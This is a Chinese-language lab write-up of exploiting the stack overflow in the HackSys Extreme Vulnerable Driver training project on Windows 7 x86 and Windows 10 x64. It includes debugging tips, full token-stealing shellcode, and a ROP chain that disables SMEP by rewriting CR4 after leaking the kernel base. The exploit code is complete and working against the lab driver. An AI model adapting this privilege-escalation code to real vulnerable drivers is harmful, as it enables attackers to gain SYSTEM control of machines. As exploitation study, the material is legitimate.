0x00:环境&&一些需要注意的地方以及调试小技巧
~多图预警~
我的环境
环境怎么搭建我就不赘述了,我会把我主要参考的博客贴在后面
我使用的环境
物理机OS:windows 10
虚拟机OS:win7_x86&&win10_x64(考虑到环境不同可能会复现不成功的情况,我会把win7&&win10的下载链接贴在评论区)
VMware:VMware Workstation 15 Pro
编译器:vs2019
驱动: HEVD 1.2
驱动加载工具:VirtualKD-Redux-2021.2
调试器:Microsoft Store上直接下的windbg preview版
要注意的地方&&一些知识点
首先一点就是由于调试内核程序经常会死机或蓝屏,而频繁的系统重启又需要很多时间,为了节约部分时间,建议大家灵活使用VMware 的快照功能,在配置好测试环境后,不要急于测试,而是先建立该测试环境的快照,这样当出现死机或蓝屏后 再次测试时可以直接回滚到之前的快照状态下的 Guest OS 中,这样能够大大节省等待时间.
windbg跳出来的时候,虚拟机会中断,这时会出现鼠标和键盘都失灵的情况,按 ctrl+alt 可以解决,我第一次以为我电脑卡了,还重启了,其实不是.
由于我们研究的是有漏洞的驱动项目,所以就有必要补充一点驱动相关的知识:驱动分两种,一种是nt式驱动程序,一种式wdm式驱动程序.VirtualKD-Redux-2021.2这个驱动加载工具只能加载wdm式驱动程序.还有想用vs2019进行驱动编程的话,sdk和wdk版本要一致,我在上面踩了很多坑.
下windbg的时候,可能会出现网页能打开,但Microsoft Store死活打不开的情况,这个问题在internet选项->连接->局域网设置,把使用自动配置脚本那个勾取消掉就好.
在学习的时候,可以看到源码里是有输出的(当然你用ida打开也可以看到,不过我基本没用ida)
但是,直接调试是看不到的,这里有两个解决的方法,一种需要下一个软件,还有一种是在运行前加 ed nt!Kd_Default_Mask 8 ,然后输出就会在windbg里显示出来,像这样
我使用的也是第二种,确实比较方便.
可能你会对exploit里面的CreateFileA,DeviceIoControl等函数感到困惑,这部分在<0day安全:软件漏洞分析指南>里有写,当然你也可以去看官方文档.
可能你会好奇我exploit开头那个宏定义是怎么来的,我是在源码的Exploit目录下的common.h找到的,如图
后面这CTL_CODE( )部分0day安全里面也有写,感兴趣的同学可以自己去看看.
还有那个DeviceIoControl函数的第四个参数是关于SIZE大小的,这里要注意的一点就是这个参数要比实际输入的内容大4(32位系统下)或者8(64位系统下),不然会导致数据传入不够的情况
还有一个特别特别大的坑就是win10的处理器设置最好是1,我因为这个没设好,足足花了我四天多的时间!!!!!越想越气
0x01:HEVD项目讲解&&漏洞点&&exploit的编写
HEVD项目讲解
下载地址在这里,这个项目里不但有很多有漏洞的示例驱动函数,还有对应的32位下的exploit.
使用方式可以参考这里
漏洞点
漏洞点还是很简单的,打开HEVD源码,找到Driver目录下的StackOverflow.c的TriggerStackOverflow函数.发现它没有验证用户传入的size大小,导致栈溢出.可以看到安全的版本是以sizeof(KernelBuffer)为传入大小的.RtlCopyMemory这个函数和memcpy差不多,它需要一个指向内核缓冲区的指针,一个指向输入缓冲区的指针和一个整数来知道要复制多少字节.
exploit的编写
原理就是替换当前进程的Token ,首先在windbg上输入 !dml_proc 命令,
可以看到我们的system的pid是4,而且每个进程的pid都不相同,这就是我们漏洞利用的关键.
然后我们运行 dt nt!_EX_FAST_REF address+0xf8 命令,找到cmd.exe和system的token,如图
接下来我们用ed指令将cmd.exe的token值改成system的token值,如图
可以看到我们cmd的权限已经改变了
这个exploit我感觉最主要的就是shellcode的编写,其他的当公式用就好,所以我着重讲shellcode的编写.
前面我们已经讲了漏洞利用的关键是替换token,那么我们怎么找到system的token并替换它呢?其实这里面有以下的关系.(我的参考在这)
KPCR (PrcbData) -> KPRCB (CurrentThread) -> KTHREAD (ApcState) -> KAPC_STATE (Process) -> KPROCESS
我们需要遍历每个进程,就需要找到一个双向循环链表,也就是这玩意
那它具体的偏移是多少呢???
首先我们在windbg上运行 dt nt!_KPCR 命令,可以看到一大串的东西,我们找到_KPRCB结构,如图
然后我们再运行 dt nt!_KPRCB 可以看到
这就是mov eax, fs:[eax + KTHREAD_OFFSET]这行代码的由来
接着我们在windbg里运行dps fs:[124]这行代码(dps是查看当前寄存器的值),可以看到
然后我们运行 dt nt!_EPROCESS poi(83f3a380+0x50) 这行代码(poi是解引用),可以看到
里面要注意的地方就是+0xb4的void和+0xb8位置的双向链表了.
(不过这里为啥是+0x50,我也不太清楚…)
然后往下翻,可以看到
这就是0xf8的由来.
其他的感觉没什么了,最后,贴一下我的利用代码(我的利用代码可能和我讲的不太一样,要复杂些,当时我主要参考的这,懒得调了…)
#include<Windows.h>
#include<stdio.h>
#include <iostream>
#include <vector>
#include <time.h>
#include <Psapi.h>
#include <winioctl.h>
#include <TlHelp32.h>
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
#define IO_COMPLETION_OBJECT 1
#define STATUS_SUCCESS 0x00000000
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
const char kDevName[] = "\\\\.\\HackSysExtremeVulnerableDriver";
__declspec(naked) VOID shellcode() {
// Importance of Kernel Recovery
__asm {
pushad; Save registers state
; Start of Token Stealing Stub
xor eax, eax; Set ZERO
mov eax, fs: [eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS : [0x124]
mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
mov edi, [ecx + TOKEN_OFFSET]; Get current process token
and edx, 0xFFFFFFF8; apply the mask on SYSTEM process token, to remove the referece counter
and edi, 0x7; apply the mask on the current process token to preserve the referece counter
add edx, edi; merge AccessToken of SYSTEM with ReferenceCounter of current process
mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad; Restore registers state
; Kernel Recovery Stub
xor eax, eax; Set NTSTATUS SUCCEESS
pop ebp; Restore saved EBP
ret 8; Return cleanly
}
}
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
HANDLE open_device(const char* device_name)
{
HANDLE device = CreateFileA(device_name,
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL
);
return device;
}
#define BUFF_SIZE 2080
int main()
{
PVOID payload = &shellcode;
SIZE_T buf_size = BUFF_SIZE + sizeof(DWORD);
ULONG BytesReturned = NULL;
HANDLE hFile = open_device(kDevName);
PVOID buf = (PVOID)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
2080 + sizeof(DWORD));
printf(" gamous,yyds!!!");
RtlFillMemory((PVOID)buf, buf_size, 0x41);
PVOID shellcode_addr = (PVOID)((ULONG)buf + BUFF_SIZE);
*(PULONG)shellcode_addr = (ULONG)payload;
DeviceIoControl(hFile,
HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
(PVOID)buf,
buf_size,
NULL,
0,
&BytesReturned,
NULL);
CreateCmd();
}
可以看到最后是利用成功了的
0x02:win10_x64下的smep bapass
smep就是一种自win8新推出的保护机制,如果一个程序存在smep保护机制的话,那么就不能在ring0执行ring3的代码,否则的话会直接崩溃死机.这个机制和cr4寄存器有关.如图
重点关注第二十位就好
可以在windbg里输入 .formats cr4 查看当前 cr4寄存器的值.如图,我的机器上cr4寄存器的值为0x1506f8
怎么绕过smep?这里用到了一种名为rop的技术.就是用ring0的代码将smep给关掉.前面我们已经说过,smep与cr4寄存器的第20位有关,所以我们要把cr4寄存器的第20位给置零.在我的机器上也就是把0x1506f8改成0x506f8.怎么更改cr4寄存器的值?我们需要找内核里的与cr4寄存器相关的汇编片段
当然这里还需要绕过KALSR,也就是内核态的ALSR.
这里我用到了一种工具,rp++
首先在win10虚拟机里查找 ntoskrnl.exe 程序,如图
然后新建一个rop.txt程序(叫什么名字都可以)
然后打开cmd,把相关的程序拖进去,输入指令,格式像这样
然后我们发现rop.txt文件里多了很多东西,然后我们用ctrl + f 查找cr4寄存器相关可以找到
然后我们将前面的140内存基址给去掉,取后面的0xf732c,然后在windbg中输入 uf nt+0xf732c,可以看到
然后输入?fffff802`d2d7f32c-nt 可以看到
(我这里应该显示有问题它cr4给我显示成了tmm有点无语emmmm)
那么我们的偏移就是0xf732c,获取rcx寄存器的值类似然后我的代码长这样
那么怎么获得内核的基址呢?这部分当成公式用就好…大概这样
shellcode的编写就是按着我前面讲的内容写的,手动找一下64位下的偏移即可,不过值得注意的是,asm汇编程序不能直接在.c文件里写.这里我用的是一款在线将汇编转机器码的工具.链接在这
可能有人会好奇为啥我会有mov rbx,[r11+0x60]这条指令,这是调出来的.待会解释.
我在exploit里面加了 __debugbreak(); 这行代码,这行代码是下断点用的
运行后可以看到我们的代码已经断下来了
然后,我们再输入 uf HEVD!TriggerStackOverflow 并在这个函数的结尾处下个断点
然后运行到修改cr4寄存器的地方,可以看到,我们的cr4寄存器已经被修改成功
接下来解释一下mov rbx,[r11+0x60]这条指令
我们知道我们的rcx,rbx在运行shellcode之前就被破坏掉了,所以一个很朴素的想法就是找一个相近的值给他恢复,调试后发现rcx的值无关紧要,因为如果程序正常运行的话,后面并没有引用到rcx的值,但是用到了rbx的值,如果rbx的值不对,将直接导致系统崩溃.
一个很直接的想法就是,找一个相近的值,然后减去差值.
调试发现rbx的值是r11赋予的也就是这
但是r11里面的值也会被破坏掉,也就是说[r11+10h]不可用
调试发现[r11+10h]和[r11+60h]这两个值一模一样,而且后面这个不会被改掉.
也就是这个值
接下来就没什么好说的了,最后贴一下我的代码
#include<Windows.h>
#include<stdio.h>
#include <iostream>
#include <vector>
#include <time.h>
#include <Psapi.h>
#include <winioctl.h>
#include <TlHelp32.h>
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
const char kDevName[] = "\\\\.\\HackSysExtremeVulnerableDriver";
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
HANDLE open_device(const char* device_name)
{
HANDLE device = CreateFileA(device_name,
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL
);
return device;
}
#define BUFF_SIZE 2080
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation = 11,
SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS(WINAPI* NtQuerySystemInformation_t)(IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);
#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
ULONG Reserved1;
ULONG Reserved2;
ULONG Reserved3;
PVOID Base;
ULONG ImageSize;
ULONG Flags;
WORD Id;
WORD Rank;
WORD LoadCount;
WORD NameOffset;
CHAR Name[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
INT64 get_kernel_base() {
NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
ULONG ReturnLength;
HMODULE hNtDll = LoadLibrary(L"ntdll.dll");
NtQuerySystemInformation_t NtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(hNtDll, "NtQuerySystemInformation");
NtStatus = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &ReturnLength);
PSYSTEM_MODULE_INFORMATION pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
ReturnLength);
NtStatus = NtQuerySystemInformation(SystemModuleInformation,
pSystemModuleInformation,
ReturnLength,
&ReturnLength);
PVOID KernelBaseAddressInKernelMode = pSystemModuleInformation->Module[0].Base;
return (INT64)KernelBaseAddressInKernelMode;
}
BYTE shellcode[] =
"\x65\x4C\x8B\x04\x25\x88\x01\x00\x00" //mov r8,[gs:0x188]
"\x4D\x8B\x80\xB8\x00\x00\x00" //mov r8,[r8+0xb8]
"\x4D\x89\xC1" //mov r9,r8 //
"\x49\xC7\xC4\x04\x00\x00\x00" //mov r12,4
//searchsystemPID
"\x4D\x8B\x80\xF0\x02\x00\x00" //mov r8,[r8+0x2F0] /
"\x49\x81\xE8\xF0\x02\x00\x00" //sub r8,0x2F0 /
"\x4D\x39\xA0\xE8\x02\x00\x00" //cmp [r8+0x2e8],r12
"\x75\xE9" // jne searchsystemPID
"\x4D\x8B\xA0\x58\x03\x00\x00" //mov rdx,[rax+0x358]
"\x4D\x89\xA1\x58\x03\x00\x00" //mov [rcx+0x358],rdx
"\x49\x8B\x5B\x60" //mov rbx,[r11+0x60]
"\x4D\x31\xC0\x4D\x31\xC9\x4D\x31\xE4" // xor r8 r9 r12
"\x48\x83\xC4\x10" // add rsp,0x10
"\xc3";
int main()
{
ULONG BytesReturned;
BYTE input_buff[2088] = { 0 };
INT64 KernelBaseAddressInKernelMode = get_kernel_base();
INT64 pop_rcx_offset = KernelBaseAddressInKernelMode + 0x95836;
INT64 rcx_value = 0x506f8;
INT64 mov_cr4_ret = KernelBaseAddressInKernelMode + 0xf732c;
LPVOID shellcode_addr = VirtualAlloc(NULL,
sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
//HMODULE ntoskrnl = LoadLibrary(L"ntoskrnl.exe");
memcpy(shellcode_addr, shellcode, sizeof(shellcode));
memset(input_buff, '\x41', 2056);
memcpy(input_buff + 2056, (PINT64)&pop_rcx_offset, 8); // pop rcx
memcpy(input_buff + 2064, (PINT64)&rcx_value, 8); // disable SMEP value
memcpy(input_buff + 2072, (PINT64)&mov_cr4_ret, 8);
memcpy(input_buff + 2080, (PINT64)&shellcode_addr, 8);
printf(" gamous,yyds!!!");
HANDLE hFile = open_device(kDevName);
__debugbreak();
DeviceIoControl(hFile,
HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
(PVOID)input_buff,
//0x800,
sizeof(input_buff),
NULL,
0,
&BytesReturned,
NULL);
CreateCmd();
}
可以看到,最后是运行成功了的
0x04:总结&&感想&&参考
感觉这个并没有想象中的那么难.还有<0day安全>这本书值得一读,书中的很多理念都有让我眼前一亮的感觉,虽然这本书出版于2008年.
碰到问题不要一个劲的莽,要学会动脑.还有就是英语要好,这些文章我大部分都是拿翻译看的.感觉自己表达能力还是差了,没有写出我想要的效果..还有就是我这输入法不知道有什么问题,标点符号用不了中文的,改了也用不了…
环境搭建参考
https://bbs.pediy.com/thread-247019.htm
https://bbs.pediy.com/thread-252309.htm
学习资料参考
<0day安全:软件漏洞分析指南>第四章
https://defuse.ca/online-x86-assembler.htm#disassembly
https://connormcgarr.github.io/ROP/
https://h0mbre.github.io/HEVD_Stackoverflow_SMEP_Bypass_64bit/#
https://hshrzd.wordpress.com/2017/06/22/starting-with-windows-kernel-exploitation-part-3-stealing-the-access-token/
https://cracklab.team/index.php?threads/66/
https://www.abatchy.com/2018/01/kernel-exploitation-4
https://rootkits.xyz/blog/2017/08/kernel-stack-overflow/
滴水逆向三期视频 2015-01-21部分
发表评论
您还未登录,请先登录。
登录